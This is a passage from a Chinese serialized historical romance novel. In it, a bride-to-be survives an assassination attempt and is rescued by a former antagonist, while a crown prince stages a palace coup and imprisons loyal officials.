在妧嵘下狱,家产被充公后,平氏名下的铺子也都被收走,但好在妧枝典当了嫁妆,有余钱也铺置别的产业。
她另外将其他铺子买下,用作家业,有平氏能够管理的药铺和糕点,自从开张后生意都颇为兴隆。
妧柔又长一岁后,妧枝亲自带她理账,看了大半日,妧府有客人上门来道:“大娘子婚期将近,不剩几日等候,可万万不巧,昨夜库房起火,差点烧了娘子定下的衣料。其中一件里衣尽毁,需要为娘子重新量体裁衣,赶制出来。”
妧枝的喜服找的是京中有名的绣庄绣娘缝制,她之前做的,平氏怎么看都不合心意,于是便将她的喜服送去请人缝改,又重新做了设计。
前两日做好以后给她送来,妧枝试了一试,很合身也很华美,她颇为喜欢。
没想到绣庄的管事亲自来道歉,还带了绣娘来给她测量。
妧枝闻言,先是问对方库房损失。
绣庄管事在旁愁眉苦脸道:“损失大半,好些上等的衣料都毁于大火。”
妧枝:“可查过,是无意失火,还是有人故意为之?”
一座绣庄,库房乃是重地,怎么可能轻易就走火。
然而绣庄管事面露凝重,又带着些许惊惧微妙,手指比在唇上,同妧枝嘘声道:“实不相瞒,这次实觉对不住妧娘子,方才告诉你。”
“此次失火,是意外也不是意外。”
“京中近来不安生,听说朝堂太子一党和朝臣不和,吵的热火朝天,圣上还在一病不醒,这附近军营每日操练听说矛头都对准宫中位置,大臣们人人自危。”
他压低嗓音,“昨夜这火,就是军营和官府的人在我们绣房附近相遇,狭路相逢大打出手,其中一人火把越过我们绣庄门墙,这才不小心将火引点燃。出了这等事,我等寻常百姓,也不敢去寻两边要个公道,为了不惹麻烦,只能这般……认了。”
说到最后,绣庄管事面上全是不敢惹是生非的无奈。
妧枝整日在家,对外面的消息如今了解不多,每天都是听下人来报,大同小异,都在说京都现在局势不好。
而起火和军营与官府的人大打出手,她还是才听说,可以窥见表面无事的京都,背地里竟是怎样的水深火热。
绣娘为妧枝量完尺寸,绣庄管事道:“成衣这几日,我会督促我们庄上的娘子尽快赶制出来,绝不耽误了娘子的婚期。不过,有些衣料须得重新去挑,娘子哪日若有方便,就去庄上走一遭。”
“您知道,那些衣料有的贵重,不便运输携带,还请妧娘子见谅。”
有些绣线,价值连城,极为贵重,也非常脆弱难以保管。
平日都需由专人养护,若是放进箱子里带来,有一点磨损,那一匹布料都不能用了。
妧枝的嫁衣就选了一匹很华贵的料子,一年的产量就只有一车,上回她也是亲自去的绣庄挑选布料,与绣娘等说了许久,才将衣料都定下来。
这回管事说明缘由,可见绣庄里的损失惨重,而她婚期最近,这才急急忙忙赶来找她补救。
妧枝点头,“时日尚早,我同你们一起去吧。”
妧柔牵着妧枝的手,依恋地抱着姐姐,“阿姐,我也去。”
妧枝垂眸,摸了下她的头,想着这些时日都不曾出门,妧柔还正是喜欢玩的年纪,于是答应下来,“让人备车马吧,去跟阿母说一声,我们去绣庄了。”
在绣庄,妧枝带着妧柔从马车上下来,果然还未进门,就闻到一阵浓烈还未退散干净的烧焦味。
妧枝帮妧柔用帕子捂住口鼻,管事一脸歉意道:“实在惭愧,昨夜抢救以后,只保住了一部分衣料,原来的都被火烧成了灰,连带库房的木头都成了渣。”
气味大是难免的,妧枝道:“不碍事,我来选几匹衣料,选完即刻就走。”
管事也是这般打算,若不是布料贵重,本该一早就送去妧家让人挑了拿回来改制。
管事带着妧枝去新的放置布料的屋子挑选,在绣娘搬出新的华贵衣料时,妧枝还给乖巧陪伴在她身边的妧柔选了两匹。
待到午后,树影的沙沙声渐停,风暖天晴,妧枝和妹妹重新坐上马车离开。
“阿柔那些料子喜不喜欢?不要告诉阿母,否则她会说你衣裳太多了,穿不完。”
妧枝哄着妧柔,拍着她的背,姐妹二人在车中温馨无比。
“不说,不说。”妧柔:“等衣裳做好,穿上身了,再吓阿母一跳。”
妧枝忍不住笑,忽地马车前身好似颠簸。
妧枝笑容一敛,紧盯着眼前,“出什么事了?”
车夫下去看了看,回来禀告,道:“大娘子,车轱辘陷入地里被一道坑卡住了,还请两位娘子稍加等候,我这就把它修好看看。”
妧枝从窗外探出去,低头打量路况,的确路上出现一道颇深的裂缝,砖块堆积在一旁,不知什么时候出现的深坑,竟将他们暂时困住。
妧枝带着妧柔先从马车中下来,以免增加重点,若是车夫需要推一把马车,妧枝还能借一借力。
在等候中,妧枝和妹妹站在日光照不到的屋檐下玩起了影子。
午后的风声静止,整个巷落十分幽静,来往行人不多,更没有其他车马路过此地。
忽而,咻的一道声音利落传来。
宛如利刃钻破墙壁,让人心生一丝凉意,冰冷刺骨。
原本车轱辘旁,正在低头修理的车夫被一支不知从什么来处的利箭穿破头颅,直直地僵跪在地上。
“阿姐,该你了,阿姐。”妧柔笑着叫妧枝,却忽略了妧枝闻声疑惑朝马车边看去的眼神。
从惊讶到凝重,犹豫、恐惧的瞳孔夹杂着不可置信,让妧枝拉着妧柔起身,言语中透着慌张,“阿柔,走。”
这京都,近来果然危机四伏,妧枝顿时有些后悔,今日不该轻易就带妧柔出来。
在这没什么人的道路上,仅停着他们一辆马车,如今车夫被人射杀,还不知对方来路,妧枝唯有拉着妹妹,倾力带她逃走。
“来人,救命!”
她不知下一刻,会不会再有利箭对准她们,又从什么地方冒出危险,只能加快速度,更加卖力呼救。
就在走投无路之后,背后追赶的身影越来越近,妧枝带着妧柔情急之下不幸摔倒在地。
妧枝回头,终于看清行凶的人,不是军营也不是官府,是冲着她来的无妄之灾。
此时,又一道风声响起。
逼迫朝她恶意走来的歹人们在咫尺间站定,再慢一刻,对方举起的屠刀就将刺中妧枝的身体。
然而此刻,在距离妧枝等人最近的,却是凶手冒血的胸膛,上面插着一根更加锋利且有棱角的坚硬利箭。
“咻——”
箭声再响,似是双箭齐发,又不约而同射进其他人的身体阻止他们再朝妧枝和妧柔前进。
在歹人的尸体倾倒朝她们压过来前,妧枝终于反应过来带着妹妹躲开。
轰然一声,尸体倒地。
巷落里,马蹄声渐起,一行队伍缓缓出现在妧枝眼前。
为首坐在马背上,本不应该出现在京都的身影赫然倒影在妧枝错愕的眸中,多日不见,商榷安还像以前,五官却更加挺立冷峻,身形几分削薄刚硬,神色莫测而幽深地注视着她。
树上漆鸦停在高枝上,探头探脑,深巷寂静,弥漫着血的腥味。
秋风来早,代替朗日,多了一丝奇妙的静谧之意。
第89章 怎么他没照料好你?
商榷安下马,朝着地上略显狼狈的妧枝走来。
每走一步,高大的身影就越发逼近,直到在妧枝头上笼罩一层阴影将其覆盖。
他们四目相对,商榷安未曾第一时间就与她叙旧,而像是仔细打量一样,静默不语。
妧枝也从惊讶中回神,心有余悸看着俯瞰她的商榷安,她不知道对方怎么会突然出现在这里,他难道不该在京都之外的地方上任?
莫非他是私自回来。
下一刻,一只手伸到她面前。
仿佛打量完了,商榷安终于向她伸出援手。
妧枝沉默地觑着那只手,最终还是避开商榷安的触碰,选择从地上并且连同妧柔一起扶起来。
而对此,商榷安仅是默然看着,并未表露出一丝不悦。
他身后枕戈等人已经快速将地上的死人拖走仔细查看,等过了会,回来向商榷安耳语一阵。
妧枝只隐约听见他道:“有身份……不是意外。”
于是商榷安再次朝妧枝看来,时隔已久,他们再见第一次开口,“怎么回事。”
他语调平静,嗓音低沉,妧枝还处于劫后余生的震惊当中,她一下不知该如何处理当下的状况。
询问她出了什么事的是商榷安,而他们的关系,难道是这般见面之后可以心平气和交谈的么?她一下将妧柔揽在身后,像是没忘记眼前的人是个惯犯。
难以预料他下一步会怎么做。
看清妧枝举动的商榷安不动声色,眼也未眨一下。
妧枝尽量将他当做主事的官差如实说道:“我今日出门,去绣庄改制嫁衣,回来路上马车坏了,后来就是这般情形。”
“我也不知得罪了谁,对方是不是有意埋伏在这里,对我痛下杀手。”
在妧枝说完后,商榷安面色如常,冷静依旧,他余光微侧,向下属示意,“把人带走,查查背后之人是谁。”
妧家的车夫已死,马车也坏了。
商榷安让人牵马过来,很快将妧柔先送了上去,让其中一个下属照顾。
而等另外一匹马过来时,他才看向妧枝,目的明确,“上来,我带你。”
妧枝领会到这是要共乘一匹马的意思,她微微拧眉,明显不想被这么安排。
“那辆马车……”
商榷安什么话都未说,感受到妧枝的抗拒之意,见她不肯上自己这匹马,于是朝着旁边走去。
他抽出腰间携带的短匕,十分快速用力,就将套在马上的用具拆开下来,只留一条缰绳,然后牵着它朝妧枝走来。
“走。我还有要事要办,没有时辰供你耽搁。”
把绳索丢给妧枝,商榷安冷冷注视着她。
在他眼眸中,妧枝没再犹豫,这是最好的办法,她独自忽略过他人的帮忙,自己翻上马背坐好。
“多谢……”
在触及商榷安幽深的视线后,妧枝思量片刻道。
商榷安没有回应,而是上了他自己的马背,留了几个人在此,带着其他下属出发。
路上妧柔似是被今天的事情吓到,在商榷安下属怀中有些不安,一直叫着阿姐。
妧枝只好向前面的商榷安表示,“可否将我和我阿妹带到前面大街即可,我和她可以自己回去。”
她记得商榷安方才说他有要事,妧枝不想因她们而耽误,给人造成不便。
然而商榷安依旧没有理会她。
一直到妧柔那边经过安抚安静下来,妧枝才听见商榷安道:“你怎么回去,万一有追兵呢?是不怕将人带回你府里?”
他连头都没回,冷淡得很。
妧枝知道他说得有理,于是也未和他狡辩,她心中充满担忧,只能暂且跟着商榷安走。
但又防着他会像之前那样,让她充满变数。
好在队伍前进的方向并非是濉安王府,也不是商榷安的私宅,是一处官驿。
妧枝下了马,跟妧柔都被带到里面的屋子里歇息。
商榷安吩咐找来大夫给她们看看身上是否有伤口,于是便什么话都不说从此处走了。
妧枝本以为,这回再见,他会特别叙旧一番,但这之后,商榷安的确不再出现她面前。
大夫在为妧柔看过以后,又来到妧枝跟前,“柔娘子没什么大碍,只是受了些惊吓罢了,待会喝一碗安神的汤药就好。”
至于妧枝。
妧柔摔倒时,她为了避免妹妹受伤,俯身作为缓冲帮她挡了一下,膝盖磕在石砖上,当时未感觉到什么,过了之后便隐隐作痛。
待到衣裙下的伤口显露出来,膝盖已经破损多了块青紫的烂肉,鲜红的血在她腿弯处变成了干涸的模样。
枕戈为她找来官驿的婢女,帮她清理伤口,待到妧枝伤处清理干净,这才准备离去。
而因在外待了太久,不清楚商榷安的打算,妧枝在门关上时,蓦然将枕戈叫住。
“等等。他呢?”
枕戈合上门的动作一顿,略有些讶异,像是不确定妧枝口中的“他”,是否就指的是他们大郎君。
而妧枝与商榷安如今的关系,可谓是跌入冰点,这位娘子此生都能与大郎君不相往来的程度。
她却主动过问郎君去处,枕戈迟疑问:“妧娘子,在找我们郎君?”
妧枝道:“我看时辰不早了,多谢你们救了我和阿妹,事不宜迟,也该告辞了。”
枕戈有预感妧枝会这样道,他没有阻拦,只是说:“不是不让娘子辞行,而是盯上妧娘子的人还没有查清,只怕另有危险。还请妧娘子和妧小娘子再多待片刻,等大郎君回来,就会让娘子离开。”
妧枝默了下来。
枕戈始终没等到她的回应,想来应该是同意了,于是没再停留,而是赶着去办别的事。
透过窗,妧枝能从楼上看到楼下官驿出行的情景,人来人往,商榷安早早出了去,他留在这里的人不多,可见,应该没将这里当做住处。
而妧枝也没有过于自作多情,觉得对方会将她一直扣留在这。
枕戈离去,房里安静了下来。
妧柔来到妧枝身旁,担忧地望着她,“阿姐,我想阿母了,什么时候能归家?”
妧枝摸了摸她的头,她一时也没有头绪,只能道:“再等等,阿柔。天黑前我们一定能回去。”
虽然枕戈说要等商榷安回来,但妧枝并未真的打算等到那时候。
她定下时辰,只要太阳即将落山,她便带着妧柔归家去。
今日的经历太过凶险,妧枝在房中等候,哪都没有走,妧柔在她身旁安抚下,因在用了些吃食后,躺在榻上睡着了。
唯有妧枝还处于清醒之中,凝神思索着到底是谁在对她下此死手。
屋内宁静无声,一直到房门外终于响起新的脚步声。
妧枝靠着卧榻,在门被拉开始幽幽转醒,她竟想着想着,也泛起了困倦之意,睡了过去。
好在浅眠,此时一点动静都能让她醒来。
她拖着受伤的小腿起身,看向门外来人,在商榷安进来前,妧枝双眼紧盯着外面的方向,颇为防备。
然而打开后,门外空着,却迟迟不见人进来。
直到妧枝拢起眉心,压低声音问:“谁?”
在外面站着的身影这才缓缓露面,只见商榷安走进房中,他目光凝视着妧枝行动微微不便的小腿,没有靠得太近,在不远处停下来。
天还亮着,窗外的霞光宛若火烧一般,绚丽到极致。
而妧枝和他各染上一部分的光辉,凝成不同的色彩,商榷安沉默寡言,不再像从前那样对她紧追不舍。
妧枝不打算自作多情,她率先打破沉寂,“是你,既然你回来了,那我也该告辞了。”
眼看商榷安十足冷淡,应当不会强留于她。
妧枝转身去叫妧柔,待到妹妹转醒,二人从卧室内出来,商榷安才道:“你难道不想知道,今日是谁指使歹人害你?”
妧枝顿足。
她当然想知道,却不确定对方会不会说。
让她问商榷安,也得他愿意道来才行。
她看着他的脸,面露犹疑,不确定他会不会另有要求,慢声问:“你都查清楚了?”
出乎意料,商榷安并未在这方面对她进行刁难,而是直截了当道:“你什么时候得罪了薛瑥甫,令他对你这般紧追不放。”
妧枝:“……”
纵使薛明烛回了薛府,但没有线索和证据证明她的下场是妧枝做的,且商榷安与薛瑥甫针锋相对,一直暗示与他有关。
到了妧枝这里,薛家对她还是像闻见了腥味一样,迁怒意味极强。
待到妧枝沉默后,商榷安再次开口,“昨天夜里,薛明烛死了。薛瑥甫悲愤万分,这才下令对你痛下杀手。”
妧枝惊讶住,眨了眨眼,没想到会是这样的变数。
果不其然,加上她性子刚烈,即使薛瑥甫给她难堪,她也不肯忍受,在薛府闹过一场,她还能若无其事好好活下去。
而薛明烛的躯体早已如风烛残年的老人,命不久矣。
薛瑥甫如何甘愿能看她这样逍遥下去。
妧枝:“那我阿母,妧府他们?”
她喉咙干涩,更多是担忧。
商榷安竟能从她只言片语中,领会她想说什么,他语调沉稳,妧枝从他目无喜色的面容中窥探出一丝心安,他道:“他们计划匆忙,只先锁定了今日出门的你们。现在人都已死,暂且不会再出手。”
妧枝松了口气,之后在这等沉默的气氛中,眼看太阳有落山的趋势,妧枝只好与商榷安道谢:“多谢,这次……我不会忘记的。”
黑与白,好与坏,她与商榷安是牵扯不清的。
她恨他夺了她的身子,给她带来一段痛苦,但今日他出手相救,也是命数,若没有他,妧柔也会跟着她一起没了性命。
但就事论事,她还是不想继续在此处多待,跟商榷安过多接触。
听说他被贬之后,商唯真也跟他同去了,不知二人有没有冰释前嫌,这次居然没在他身边看见对方身影。
妧枝拉着妧柔,向商榷安告辞。
被那双眼睛盯视着,妧枝再次感觉到压力,就在以为中途又出岔子,或是商榷安不肯让她走时,对方淡淡道:“我派人送你。”
官驿外多了一辆陌生的马车,妧枝和妧柔被塞了进去。
商榷安骑在马上,罕见未与她们同乘,而是就这样朝着妧府的方向送她们回去。
路上妧枝还在考量回家的真假,时刻留意马车行驶的痕迹,却在此期间,看到天色暗下来后,街道上的情形。
往日还算兴隆的大街,酉时不到就已经关门落锁,道路上只剩零星几盏灯,若不是还能见到几缕光,这般凄凉萧条的街道只会让人心中震惊。
而在他们过路时,还遇到了好几方巡逻带队的兵马。
有商榷安在,那些人只从他的下属那里得到他的身份后,便不曾与他们为难,甚至没有丝毫阻拦,就让妧枝所在的马车过去。
妧枝只知京都因圣人倒下,城中颇乱,却不知是这样不太平。
危机四伏,令人胆颤心惊。
到了妧府的门前,妧枝带着妹妹下车,商榷安居然没耍任何手段,叫她意外就这么真的送她们平安归家了。
妧枝拉着妧柔的手,小心翼翼,缓缓踏上台阶。
然而背后一道声音把她叫住。
妧枝皱眉,尽量用平常心回头望去。
却听商榷安道:“即日起城内宵禁,和你阿母他们无事不要出门。”
妧枝在他眼底睫毛轻颤,点了下头,他们也算殊途陌路,就这样极好。
她继续往家门走。
在门房打开出来迎接她们时,马背上,商榷安嘴唇微启,“妧枝。”
他像口舌含了一团焰火,低沉而慢捻似的叫了她的名。
“阿枝。”
妧枝身形一震,这次没有再回头,却仍旧能感受到背后的注视,“怎么他没照料好你?”
不带一丝情绪,充斥着压力的问询最终没得到答案。
下一刻,妧府哐的一声,大门紧闭。
第90章 被困。
当夜,京都城内果然被禁止出行。
每家每户都能听闻到在街上巡逻穿梭的街吏,鸣锣示警。
在这样人人自危的古怪氛围中,许多府里的下人也都早早安寝,以免出现意外,招惹是非。
而妧枝带妧柔归家后,就将白日里遭遇的事告诉给平氏等人,让他们也多加留意,防范有不认识的人出现在府里。
且随同她们出行的车夫不幸遇难,妧枝也只有等宵禁之后才能去报官。
商榷安的下属将人带走处理后,并未告诉她安置在何处,还得再去找他将人入土安葬了才行。
平氏得知后愁眉不展,“怎么会有人这般对你下次毒手?到底是谁?”
妧枝已在商榷安那里得到真相,涉及薛瑥甫,即使说给平氏听也没有解决的法子。
只能暂且避开,道:“城中局势不明,什么势力都有,阿母不用追究是谁,只要平日小心为上就好。近些时日,就不要轻易出去了。”
全城宵禁,好些府上的灯火也都灭了,只留了些微几盏,免得引贼人注意。
妧枝让平氏照顾好妧柔,这样的凶险她已经历了许多,心虚早已平稳下来。
倒是妧柔,夜里还须得有人在身边陪着入睡,否则定会陷入梦魇。
妧枝交代好,从小妹房中退出去,回了自己屋中。
她腿上的伤变得麻木,婢女重新为她换了药,妧枝才简单熟悉一番,在床上躺下。
白日里,那惊险的一幕重新从她脑海中涌入,宛如残片划过,很快就被一道人影的顶替,出现在妧枝眼前。
圣人病倒,商榷安还在被贬当中,那些臣子曾说他任期三年才满,他却带人堂而皇之出现在京都内。
加上如今朝堂被太子等人把持,那他回来是谁的命令?还是他自发主张?
一个是曾经的旧主,一个是年轻力强未能继位的新君,商榷安又支持谁?
妧枝轻吐一口气,眉头紧锁,更让她不安的是,这样凶险的情况下,未来的京都会变成什么模样,是否会连累到他们这些寻常人家。
薛瑥甫为了薛明烛的死,泄愤到她头上,看来也是一时不会放过她,妧枝也要思虑该怎么对付这位位高权重的老人。
这次没能如愿,不知薛瑥甫下次什么时候会再次行动?
妧枝将自己心中的担忧草拟成字,化作书信,想等明日一早就传信给历常珽,让他也要万分小心,免得对方报复不成,迁怒于他。
而夜色掩盖中,都城的上方风云又起。
宫中,堂皇而明亮的殿宇内,死一般寂静,部分臣子被留在当中,未能出去。
而在不久前,屋外地上刚流淌过一地热血,被处置的臣子、宫人白日里人影鲜明,等到了晚上,却悄无声息,双目紧闭。
历常珽从数日前,就在宫中没出去过。
圣人每况愈下,期间醒来过一次,恰巧历常珽前来宫中随同李氏宗亲探望。
朝中在太子把持朝政后,以薛瑥甫带头为首,都在以防万一圣人病逝,有早扶太子继位的打算。
但另有朝臣始终不同意,认为太子这般有越俎代庖之嫌,圣上没死,就想着称帝,难免不孝,有违礼制。
且这次后宫出事,圣人病倒的古怪,那位下药的妃嫔,经细查,曾经竟是东宫出身,还是伺候过太子的侍妾的妹妹。
如此一来,圣人病情成了朝中其他臣子口诛笔伐薛瑥甫等人的把柄。
太子虽为储君,却有坑害帝王嫌疑,若不能摆脱这样的名声,朝臣至少有一半人难以承认他的身份。
为此,为了确认圣人如今安危,即便还在昏迷当中,还是臣子上议,结合担忧圣人的臣子前来探望。
而为了清誉,太子虽有诸多不满,却还是在争吵了多日后,准许了朝臣们进殿。
只是只能少部分人去,且只能探望这一次。
这条件自然引起他人不满,可太子那边的言语道:“圣人所在后宫,也不是什么人都能闯入的,列位莫不是把宫廷当做你们自己的宅院了,想何时去窥探圣体便窥探圣体?若是圣上出了什么事,尔等可想过后果?”
“后果?御医那边可是说,圣人并非没有诊治的机会,只是恢复需要些时日,万一转醒,尔等隐瞒不报又怎么办?我等要去亲眼见到圣上,现在圣体无恙才行!”
争执又起,两边都各执一词。
而最终还是大臣们担忧圣人,暂且决定先去探望,确定了虚实再议。
没成想,就是这次探望,历常珽与他人一块,有李氏的宗亲,也有与薛瑥甫同样年纪,为官多年的老臣去了圣人寝宫,恰好遇到对方转醒。
只是时辰较短,圣上只不过撑了片刻,便向亲近的心腹老臣道:“朕病,不是意外……众卿,救……”
救驾之言,未能说完,人有晕了过去。
如此一来,再看过圣人后,亲自被圣人嘱托了的老臣如何肯走,于是就算违抗东宫命令,也要留在圣人寝宫。
为此,太子那边便来了许多禁军,喝令他们出宫,不肯出宫的一律当做逆谋处死。
可有臣子和李氏宗亲在,如何肯让太子横行霸道,亦有武将笼络了一些兵进入宫中,如今两边成对峙之势。
殿外未干的血迹,便在交锋后留下的残局,还有前来劝说传话的宫人,臣子,都在此丧命。
历常珽也因此被困在里面多日,虽然局面暂且能控制住,但圣人寝宫弹尽粮绝不过朝夕。
情势十分危急。
眼下来劝说的来了一波又一波,历常珽在当中因最年轻,老臣们体力不济,也成了挑大梁,为两边传话互通,且承受怒火之人。
而连日来未能得到好的休息,面色也极不好看,他不知宫外情势如何,同样想念妧枝,他们的婚期就在这几日,却因此出了这样的大事。
若不能好生解决,婚期就要逾期了。
在深夜,万籁俱寂时,宫中部分地方一片昏暗,而圣人寝宫,臣子们都窝缩在门外角落,或是殿外屋檐下歇息。
此情此景十分落魄,在侍卫们把守之下,亦不敢真的睡着,有一点动静就能将他们惊醒。
“历郡王,醒醒。”
历常珽连着三日奔波,没有好好合过眼,在角落寻了一张桌椅,依着入眠。
不多时被人叫醒,只见一宫人凑近道:“郡王,太子那边给的时限到了,问大臣们可商议好了,请您去东宫回话。”
历常珽神色一肃,有些血丝的眼睛在迟疑半分后彻底清醒,他从桌椅上起身,身形有一丝微晃,被宫人眼疾手快扶起。
近日来众人也是看在眼里,这位儒雅的郡王是如何在东宫和朝臣这边是如何奔波制衡的,原先本是还有一位臣子,自发要去代其他大臣说服太子遵循礼制,不要乱来。
结果竟是一去不复返,如今只有锦瀚郡王暂且充当传递的来使。
历常珽整了整仪容,临走看了眼被困后,已经尽显疲态和狼狈的老臣们,在宫人示意下离开这座寝宫。
月色无垠,为数不多的光亮照着他脚下。
等到了东宫,历常珽步入进去,里面围着太子的一圈人转过身来,从头到尾,从里到外,在太子身边最近的一位人影显露出来。
让历常珽在看见他时,脸色倏然一变。
商榷安在太子身旁,态度傲然与历常珽目光交错,随即如无事人一般,挪开视线。
太子向历常珽示好,“常珽来了。”
即便不是姓李,历常珽的父亲做过圣人伴读,历常珽也走过其父同样的路,二人不可谓不熟。
只是太子野心过重,太过急功近利想要独揽大权,且圣人那边亲口承认太子与他病情有关,是选新君还是旧主,许多人都陷入两难。
历常珽更是夹在其中,一个是昔日伴读太子,一个是曾对他关怀过的圣人叔父。
他一来,许多人都劝他,为太子说着好话,可让他没想到的是,原本被贬在外的商榷安,竟这般熟悉的站在太子身旁,可见他们交情匪浅。
他来不及收拢心中震撼,上前行礼,“殿下。”
“如何?”对方不打算与他寒暄,切入正题。
“本宫给过你们时限了,上回就说,等我登基后,定然会给天下百姓一个太平盛世,更不会辜负了诸位扶持过我的大臣。圣人年事已高,即使再英明,他如今也病倒了。这天下,难道不该由年轻力强,富有能力的人来主持?”
太子:“帝位一直无人继承,就会引起江山动荡,怎么你们难道想看到本宫和圣人的社稷不保吗?”
这一大顶帽子扣下来,令在场官员有的惊悚恐慌,一下跪了下来。
这之后太子身边站立着的人所剩无几,便更加明显,除了商榷安,在另一旁与历常珽这几日打过交道的宰执,薛瑥甫亦在他身旁,与商榷安一左一右呈辅佐庇佑之势出现。
“说罢,常珽,秦钟大人他们,决议如何?”
历常珽还在想为何商榷安与薛瑥甫明明交恶,为何能这般和平共处,然而太子等人已经没有耐心在等他迟疑,催促他答话。
在看清局势那一刻,历常珽回过神道:“殿下……秦大人他们今日在宫中,已经命人伐树做了七具棺材出来,势要伴驾到圣人苏醒,此番决议,无一人更改。”
“那你呢?”对方赫然问。
而今在帝王寝宫的臣子七位,其中包含带兵的武将,朝中重臣,李氏宗亲,看来心意已决,死都要明志。
而历常珽显然并未夹在其中。
日前太子便问过历常珽此话,而今也该轮到他做决议了。
只见历常珽忽地余光微瞥,似是看了商榷安一眼,只猜想他投靠太子,与薛瑥甫同流合污,也该理所应当。
圣人是他叔父,亦是商榷安的伯父,可这位伯父当年也是让他跌下云端被逐出京都人,他怎么可能不记恨?
叛贼……
他终究与他不同,历常珽沉思着,最后抬起头颅,坚定道:“我与秦大人他们,亦如是。”
话音落下,殿内气氛瞬间下降。
诸多看历常珽的目光,已是看死人一样。
“来人,把他押下去。”
太子怒斥,“真是冥顽不明!”
待到历常珽被带走,他回头看商榷安一眼,商榷安同样漠然目送着他,殿内议事结束,太子与薛瑥甫商议,决定按照原来计划对圣人寝宫那头进行清剿。
这些人生死之间,瞬间有了定夺。
商榷安走到门外,听着殿内嘈杂声响,喧嚣仿佛就在耳旁,而他身边默默来了一人向他请示道:“被下令处置那些大臣都是忠臣,锦瀚郡王……听闻他不日就要娶妻,大人可要救?”
90-100
第91章 不详来讯。
历常珽未能回到圣人寝宫,他带来的消息,已经令太子等人放弃劝降那些臣子,而是下令开始清剿他们。
而他则被带到别处,在另一座殿宇中,历常珽刚被推进去,就发现这里竟还关押着些噤若寒蝉的其他臣子,连甘贯轩都在其中。
见到他来,甘贯轩眼神一亮又一暗,“常珽,你怎么进来这里?!”
周围臣子则顷刻间围上来,向他打听外面的情况。
“历郡王,秦大人那边可有消息?圣人怎么样?太子呢?殿下可有悔意?”
历常珽听他们你一言我一语,才知这么多日,因他们被困在圣人寝殿那边出不来,多日不曾上朝,朝中臣子都担心有个万一,于是主动入宫请柬,让太子放人。
结果一概被当做逆党,不站在太子那一边的通通都被关进这里,等待听候发落。
有的臣子本就是墙边草,为了明哲保身,没被关押多久就投靠了那边。
现在剩下的人便只能期望还有人能站出来主持大局,有的更寄托希望于圣人能够苏醒,好歹老臣秦钟等人还在,就还有机会。
然而没想到历常珽会突然被送进来,适才才有甘贯轩惊讶的一问。
而被追问的历常珽看着这么做包含期待的面孔,虽有不忍,终究还是和不知道外面情形的臣子道:“太子一意孤行,秦老那边大势已去,不肯顺从殿下。圣人危在旦夕……”
他话未说完,就已经有人痛哭流涕,“完了,完了……天将亡之!”
忽而一道声音呵斥,“哭什么?哭有何用?”
“秦老那边还有宁将军,他们若不能抵御,很快就会到我们了,到时大家都得死,还不如大家一起冲出去!”
也许是悲怆的气氛和历常珽带来的噩耗让人心生绝望的怒意,有了这样的鼓动,众人还想再临死之前拼搏一把,于是都涌挤向殿门,撞向上面的锁,“把门打开,让我们出去!”
“对,出去,跟他们拼了!”
历常珽阻挠不及,就见甘贯轩来到身边,悄悄递了把武器防身,“拿着吧,以防万一。”
就在此时,因殿门前聚众颇多,殿门竟被众人齐力撞开,而外面看守的官兵不过两两,见此情形,尤其面对愤怒的大臣们的怒嚎,当下持刀呵斥,“进去,没有殿下命令,谁都不许出来!”
然而看见外面驻守的人不多,臣子们信心大涨,哪还肯听旁人威胁。
“去找秦老,去救圣人!快走!”
眼看这么多人不听从命令,且蜂拥而出,守卫只能分开一个追一个去禀告,“重钦殿的大人们逃了,快去追!”
东宫闻讯,瞬间派遣追兵过来。
而臣子们四散开来,历常珽与甘贯轩也在当中趁乱逃了出来,二人却不是去往圣人寝宫方向,而是想出宫,向外面的臣子传递消息。
可就在躲开一行追兵之时,历常珽与甘贯轩刚到另一处廊檐下,就被另一边迎面而来,手持武器的队伍逼到死角,“两位大人,何必想不开与殿下作对?还不如随我乖乖回殿里向太子请罪,还能饶你们一命。”
“圣人还在,尔等就敢逆谋,这等重罪我等可不敢苟同。”
甘贯轩忍不下这等挑衅,张口回击。
追兵首领也不再劝服,索性太子已有决议,过了今日就会迎来新的主人,这些不肯听话的臣子,即使降服也无用,于是示意下属,“动手!”
太子出发带上拥护他的众臣前往圣人寝宫,意欲扫清最后的阻碍。
薛瑥甫同商榷安一左一右前后跟随,不知何时对方慢慢暂缓下来,朝着商榷安靠近,二人并排。
看着即将迎来的曙光,薛瑥甫舒展眉头,用以彼此才能听见的声音对商榷安道:“商密使还是有先见之明,比有些俊才可是聪慧多了,知晓抉择明主。”
商榷安寡言看了眼薛瑥甫,并不答话。
薛瑥甫肯领着大臣支持太子,与太子生母有着不可推脱的干系,太后是薛家人,皇后亦是薛氏族中的女子出身。
他肯如此尽心尽力谋划,自然是为了薛氏的荣耀,辅佐有一半薛家血脉的太子登基,筹谋多年,为的就是今日这一刻。
“看来今后,为了殿下,本官与你也该握手言和了。即使政见不合,在太子登基这事上,你我都是统一的。”
商榷安眼也不眨,依旧冷淡,他突然回京,都以为他支持太子,是为了积累报复当年圣人将他过继给他人的仇恨,这才拥立新君。
对此,商榷安没有过一丝解释。
而面对薛瑥甫这般试探,商榷安也不曾给过他回答。
只是在最后一刻,商榷安倏然问:“日前,在长京道上,出现一伙人盯着妧家马车行刺,是你下的手?”
薛瑥甫但笑不语。
过了片刻道:“那样一个粗俗的女子,何必值得商密使再去留恋。”
“明烛死了,这些人岂敢有资格逍遥快活。”
说着,他朝商榷安投来意味深长的一眼,“英雄可不该为一个美人而惋惜。”
等到了圣人寝宫,为了再次确认商榷安的忠心,薛瑥甫当场让商榷安上去,“秦老也曾是商朔的老熟人了,当年也照拂过我们商密使吧。就由榷安,你来进行最后的规劝,如何?”
太子往一旁看了一眼,认为薛瑥甫不过是与商榷安计较往事。
倒也不必怀疑商榷安对他的忠诚,无人知晓,他们早在多年前就已经相识了。
不过,他也想看一看他会怎么让这些不肯服从于他的臣子认命。
在薛瑥甫的建议下,商榷安并未表现出一丝抗拒和推诿,当寝殿的臣子以秦钟为首出来后,商榷安看到了夹在当中的濉安王李侀。
都知晓他的身份,其中不乏目光朝商榷安投射过来,端详他的态度,是心软还是对这位父亲恨之入骨。
薛瑥甫更是微妙地看着他们。
寝殿的臣子对这些人的到来充满鄙夷与不屑,目光仇视,“尔等这些乱臣贼子人人得而诛之!”
“濉安王,看看你养的好儿子!”
“商榷安为何在此,他不是被贬了吗?定是早与这帮逆贼勾结,趁乱回京!”
“榷安,当年殿前中选,圣人亲自为你加冠,你可还记得你说过什么?”秦钟走到最前面,看向那个鹤立鸡群,最为修长孤傲的身影。
商榷安被众所瞩目,坦然回应秦钟,“自然记得。”
